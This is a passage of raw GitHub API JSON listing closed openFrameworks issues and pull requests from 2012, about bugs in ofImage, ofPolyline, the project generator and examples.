#1041","number":1162,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1162","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"d1af26","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":4047160,"closed_at":"2012-04-17T18:28:25Z","created_at":"2012-04-10T14:40:32Z"},{"milestone":{"state":"closed","description":"","title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"number":4,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61808,"created_at":"2011-12-02T15:29:28Z"},"state":"closed","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"noise1d example crashes in xcode 4","html_url":"https://github.com/openframeworks/openFrameworks/issues/1161","comments":1,"assignee":null,"updated_at":"2012-04-19T13:42:02Z","body":"something related to ofxSimpleSlider and poco. ","number":1161,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1161","labels":[{"color":"d1af26","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":4047135,"closed_at":"2012-04-19T13:39:34Z","created_at":"2012-04-10T14:38:53Z"},{"milestone":{"state":"closed","description":"","title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"number":4,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61808,"created_at":"2011-12-02T15:29:28Z"},"state":"closed","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"remove ofxGui from release examples","html_url":"https://github.com/openframeworks/openFrameworks/issues/1160","comments":0,"assignee":null,"updated_at":"2012-04-19T14:10:47Z","body":"","number":1160,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1160","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"},{"color":"d1af26","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example"}],"id":4047087,"closed_at":"2012-04-19T14:10:47Z","created_at":"2012-04-10T14:37:14Z"},{"milestone":{"state":"closed","description":"","title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"number":4,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61808,"created_at":"2011-12-02T15:29:28Z"},"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofPolyline::getSmoothed now works for closed and open polylines","html_url":"https://github.com/openframeworks/openFrameworks/issues/1159","comments":4,"assignee":null,"updated_at":"2012-05-17T16:17:37Z","body":"i tested this against the polylineBlobExample and wrote some code that tests open polylines as well.\r\n\r\nit's very clean now, but it's slightly slower than the old implementation.","number":1159,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1159","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1159.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1159.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1159","labels":[],"id":4046929,"closed_at":"2012-05-16T12:12:32Z","created_at":"2012-04-10T14:30:55Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"1be41bfa26cd2ba0b18e653c6c3230ea","url":"https://api.github.com/users/prettyextreme","login":"prettyextreme","id":1591037,"avatar_url":"https://secure.gravatar.com/avatar/1be41bfa26cd2ba0b18e653c6c3230ea?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofImage Quick Bug Fix","html_url":"https://github.com/openframeworks/openFrameworks/issues/1158","comments":0,"assignee":null,"updated_at":"2012-04-10T14:19:18Z","body":"A previous commit moved the setting of width/height/bpp/type into\r\nallocate(). While these values should indeed be set during\r\nallocation, possibly before an update(), they should also be set\r\nin the case that some other program flow results in an update()\r\nwithout an explicit call to allocate(), as occurs when calling\r\nloadImage().\r\n\r\nTested on Windows against dirListExample and imageLoaderExample\r\nand everything works again.\r\n\r\nIf anything, code added in this commit is resetting variables that, at\r\nworst, have already been set, making it redundant.","number":1158,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1158","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1158.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1158.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1158","labels":[],"id":4046689,"closed_at":"2012-04-10T14:19:18Z","created_at":"2012-04-10T14:16:48Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofPolyline::getSmoothed() doesn't work for open polylines","html_url":"https://github.com/openframeworks/openFrameworks/issues/1157","comments":0,"assignee":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-05-16T12:12:33Z","body":"this is because the method was written with blobs and other closed shapes in mind.\r\n\r\nthe solution is to use the current smoothing technique on the center of the polyline, and write a little extra (slightly slower) code to handle the edge cases.","number":1157,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1157","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":4039362,"closed_at":"2012-05-16T12:12:33Z","created_at":"2012-04-10T02:17:36Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"1be41bfa26cd2ba0b18e653c6c3230ea","url":"https://api.github.com/users/prettyextreme","login":"prettyextreme","id":1591037,"avatar_url":"https://secure.gravatar.com/avatar/1be41bfa26cd2ba0b18e653c6c3230ea?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofImage Memory Reallocations","html_url":"https://github.com/openframeworks/openFrameworks/issues/1156","comments":11,"assignee":null,"updated_at":"2012-04-10T14:18:29Z","body":"Streamline reallocation of memory in ofImage.\r\n\r\nI have identified a few places in ofImage where it seems that pixel and texture memory was being reallocated in places that were not necessary, that is: when \"allocating\" memory of the same size as previously allocated. I have not tested these changes extensively, though they are fairly minor and logically easy-to-follow.\r\n\r\nThese changes provide a drastic speed increase when using setFromPixels() to repeatedly load pixels of the same width/height/bitdepth as one might do when playing back a image/frame sequence.","number":1156,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1156","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1156.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1156.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1156","labels":[],"id":4035572,"closed_at":"2012-04-10T01:46:28Z","created_at":"2012-04-09T20:52:22Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"1be41bfa26cd2ba0b18e653c6c3230ea","url":"https://api.github.com/users/prettyextreme","login":"prettyextreme","id":1591037,"avatar_url":"https://secure.gravatar.com/avatar/1be41bfa26cd2ba0b18e653c6c3230ea?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofSerial bug fixes","html_url":"https://github.com/openframeworks/openFrameworks/issues/1155","comments":2,"assignee":null,"updated_at":"2012-04-09T20:40:21Z","body":"Some very minor but necessary fixes for ofSerial on Windows.","number":1155,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1155","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1155.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1155.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1155","labels":[],"id":4034734,"closed_at":"2012-04-09T20:40:21Z","created_at":"2012-04-09T20:00:13Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"fix opencv allocation","html_url":"https://github.com/openframeworks/openFrameworks/issues/1154","comments":1,"assignee":null,"updated_at":"2012-04-09T20:50:14Z","body":"sorry, too much dance music. wasn't paying attention to the commit range.\r\n\r\ni tested this by creating an unallocated image and running the updateTexture(), getPixelsRef(), and draw().\r\n\r\nbefore the fix, EXC_BAD_ACCESS, after no problem.\r\n","number":1154,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1154","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1154.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1154.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1154","labels":[],"id":4033395,"closed_at":"2012-04-09T20:50:14Z","created_at":"2012-04-09T18:39:45Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"fix opencv allocation","html_url":"https://github.com/openframeworks/openFrameworks/issues/1153","comments":0,"assignee":null,"updated_at":"2012-04-09T18:38:16Z","body":"i tested this by creating an unallocated image and running the updateTexture(), getPixelsRef(), and draw().\r\n\r\nbefore the fix, EXC_BAD_ACCESS, after no problem.","number":1153,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1153","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1153.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1153.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1153","labels":[],"id":4033329,"closed_at":"2012-04-09T18:38:16Z","created_at":"2012-04-09T18:36:24Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"cleaning remaining examples","html_url":"https://github.com/openframeworks/openFrameworks/issues/1149","comments":3,"assignee":null,"updated_at":"2012-04-09T16:24:38Z","body":"meshFromCamera had a bug\r\nsimpleTimer was missing functions\r\nvboExample was not verbose enough\r\nfboTrailsExample had some formatting issues\r\nimageLoaderExample had some formatting issues\r\nimageLoaderWebExample was missing functions\r\ntrigonomtericMotionExample was missing functions\r\ntrigonometryExample was missing functions\r\nsystemSpeakExample was missing functions\r\n\r\nthe only remaining decisions are:\r\n\r\n1 if vectorOfPointersExample isn't a good example, we should remove it. then we can rename `other` to `empty`.\r\n2 the piratepad says fboTrailsExample \"still needs some work\", but i'm not sure how exactly i can help here.\r\n3 systemSpeakExample is neat, but it's the only platform specific example, so maybe it's better to remove it.","number":1149,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1149","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1149.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1149.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1149","labels":[],"id":4019085,"closed_at":"2012-04-09T16:24:38Z","created_at":"2012-04-08T02:23:37Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Use Property Sheets in project settings, project generator vs2010 project update","html_url":"https://github.com/openframeworks/openFrameworks/issues/1148","comments":1,"assignee":null,"updated_at":"2012-04-08T11:53:22Z","body":"This is:\r\n\r\n* A clean up of the projectGenerator project for vs2010\r\n* An implementation of Property Sheets in both projectGenerator project and in the template project\r\n* Added emptyExample to the projectGenerator solution but set it to not build there\r\n* Changed reference type for oF (i.e. use VS reference rather than explicitly linking .lib file). ","number":1148,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1148","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1148.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1148.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1148","labels":[],"id":4016550,"closed_at":"2012-04-08T11:53:22Z","created_at":"2012-04-07T17:16:56Z"},{"milestone":{"state":"closed","description":"","title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"number":4,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61808,"created_at":"2011-12-02T15:29:28Z"},"state":"closed","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"How to get to working project generator","html_url":"https://github.com/openframeworks/openFrameworks/issues/1147","comments":12,"assignee":null,"updated_at":"2012-05-16T10:58:53Z","body":"Also note #1146\r\n\r\nWhat's the route to get project generator running in windows as by default it has no vcxproj files\r\nobviously people can hand-roll this vcxproj, but this seems to defeat the point of having project generator in the first place :)\r\n\r\nI have a template project at `openFrameworks\\scripts\\vs2010\\template` so will use that for the time being\r\n","number":1147,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1147","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"cccc29","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":4015561,"closed_at":"2012-05-16T10:58:53Z","created_at":"2012-04-07T14:53:27Z"},{"milestone":{"state":"closed","description":"","title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"number":4,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61808,"created_at":"2011-12-02T15:29:28Z"},"state":"closed","user":{"gravatar_id":"166640c513e589c86d2de49c52258eb4","url":"https://api.github.com/users/liquidzym","login":"liquidzym","id":51957,"avatar_url":"https://secure.gravatar.com/avatar/166640c513e589c86d2de49c52258eb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"projectGenerator issue with vs2010 (doesn't generate vcxproj.filters)","html_url":"https://github.com/openframeworks/openFrameworks/issues/1143","comments":4,"assignee":null,"updated_at":"2012-04-09T16:12:09Z","body":"i knew this isn't finished yet,but i did some testing last night,seems that projectGenerator can't creat proper vs2010 solution file.\r\ni.e the addon should be as subfolder,but somehow all the files dumps as flat in the project solution ","number":1143,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1143","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3999805,"closed_at":"2012-04-09T16:12:09Z","created_at":"2012-04-06T03:50:43Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"closed","user":{"gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"PG only uses OFPath that is set at launch","html_url":"https://github.com/openframeworks/openFrameworks/issues/1142","comments":4,"assignee":null,"updated_at":"2012-04-19T17:54:10Z","body":"Steps to reproduce:\r\n\r\n1. Open, compile, run projectGenerator \r\n2. Set OFPath via \"change OF Path\" (i.e ~/Desktop/openFrameworks)\r\n3. Close projectGenerator\r\n4. Run projectGenerator\r\n5. Set OFPath via \"change OF Path\" to different folder (i.e ~/Desktop/openFrameworks_DEVELOP)\r\n6. Generate examples\r\n\r\nOutcome:\r\nGenerate examples will use previous settings (i.e ~/Desktop/openFrameworks)\r\n\r\nPossible Fix:\r\nsetOFRoot needs to be called again in askOFRoot?","number":1142,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1142","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3999333,"closed_at":"2012-04-19T17:54:10Z","created_at":"2012-04-06T02:26:31Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"4dee8cb7b3cab6548c82cfe1539a4284","url":"https://api.github.com/users/pabloriera","login":"pabloriera","id":1613757,"avatar_url":"https://secure.gravatar.com/avatar/4dee8cb7b3cab6548c82cfe1539a4284?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"several problems with branch develop in Ubuntu 11.04 64 Bits","html_url":"https://github.com/openframeworks/openFrameworks/issues/1141","comments":10,"assignee":null,"updated_at":"2012-04-05T17:55:24Z","body":"Hi, I have recently started with OF and I had some issues, I think regarded to the 64 Bit experience.\r\n\r\nThe first thing I found was that the createProjets.py doesn't find the right templates in the linux64 folder, this was fix appending the \"arch\" variable to the path of the templates.\r\n\r\nI was tring to test de projectGenerator in devApps, so I wanted to create these CBP files. I added some lines to the createProjects.py to also create the projects in the devApps folder.\r\n\r\nThe projectGenerator seems to work fine, I was able to build it and use it.\r\n\r\nThen I wanted to try the basic examples to check that everything is working, so I pick the audio examples to try. I couldn't build the projects because it couldn't find the libopencv*.a dependencies. I couldn't find a reason yet. I think there is a problem with the CBP files and the addons path.\r\n\r\nGoodbyes","number":1141,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1141","labels":[],"id":3989705,"closed_at":"2012-04-05T17:55:23Z","created_at":"2012-04-05T15:04:58Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"3b648c678136b3ace849c455b289861c","url":"https://api.github.com/users/katewatkins","login":"katewatkins","id":679361,"avatar_url":"https://secure.gravatar.com/avatar/3b648c678136b3ace849c455b289861c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"box2d question -- SIGABRT error","html_url":"https://github.com/openframeworks/openFrameworks/issues/1140","comments":2,"assignee":null,"updated_at":"2012-04-05T15:14:50Z","body":"I'm working on a blob tracking project (using TSPS: http://opentsps.com/) that involves the Box2d addon. I am tracking hand gestures and forming the blobs into digital shadows. One of the gestures (when velocity.x=negative value) triangulates the blob into polygons. \r\n\r\nThe app was working fine until today when I was trying to break up the blob into smaller/nicer looking polys, rather than just using the center of the blob. Now I'm getting a SIGABRT error, which I have narrowed it down to 2 lines of code -- I know that this function is causing the error: GoodShape();\r\n\r\nif(newTriangle.poly.isGoodShape()) {\r\n\r\nnewTriangle.poly.create(box2d.getWorld());\r\n\r\n\r\nI have noticed that it will skip over \"bad\" shapes, but eventually it crashes the program and gives me the SIGABRT error. I could use some assistance to why this is happening.. \r\n\r\nHere is the functioning code -- triangulation based on the center of the blob: \r\n\r\nWORKING CODE ::::: \r\n\r\n//get the contour from the blob, and make a bunch of triangles out of it\r\n\r\nofPolyline\tshadow;\r\n\r\n//add all of the vertexes in the shadow to the outline\r\n\r\nfor (int j=0; j tris = triangulatePolygonWithOutline(resampled, outline);\r\n\r\n// add some random points inside\r\n\r\naddRandomPointsInside(shadow, 255);\r\n\r\n// now loop through all the triangles and make polygons for each one\r\n\r\nfor (int z=0; z if(newTriangle.poly.isGoodShape()) :: \r\n\r\n\t ofxBox2dPolygon poly;\r\n\r\n\t for (int j=0; j; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"f5f7469e272c21727bcbc98c0edf8567"'), ('date', 'Tue, 29 May 2012 18:46:24 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-22T20:03:27Z","body":"When letting the PG generate the linux CB examples, it never completes, but after a while it just doesn't do anything anymore, console output just stops (for >5min). This is on Ubuntu 11.10 32&64bit.\r\n\r\nA log can be found at http://pastebin.com/SGyzywvz . this way created using 1c65db62f791aa0a5f1e1d179d9f15f148e67f45.\r\nI also fired up the debugger to try to find what happens. when it stops printing anything to the console, I stopped it many times, it's always in `ofAppGlutWindow::runAppViaInfiniteLoop` at line `glutMainLoop();`\r\n\r\n@arturoc, could you maybe take a look at this?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1135","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1135,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1135","assignee":null,"title":"PG never completes generating linux CB examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":"2012-04-22T20:03:27Z","created_at":"2012-04-02T19:53:39Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3933212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-09T21:14:03Z","body":"there is still an issue where you can copy a file into a folder without overwrite set to true.\r\n\r\nofFile::copyFromTo(\"myFile.txt\", \"someFolder/\");\r\n\r\nThe question is should we check to see if the destination is a folder? \r\nShould we use the trailing slash to determine and should we use the trailing slash to replicate command line copy ( ie copy to or copy into )","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1127","comments":13,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"closed_issues":70,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1127,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1127","assignee":null,"title":"copyFromTo bug","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":"2012-04-09T21:13:14Z","created_at":"2012-03-31T14:27:31Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3910488,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-08T16:45:20Z","body":"problem was that when calculating strideDst, dst.width was 0, as the allocation of dst happened later. closes #1123","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1125","comments":3,"milestone":null,"number":1125,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1125","assignee":null,"title":"bug fix for ofPixels::rotate90To with nRotations = 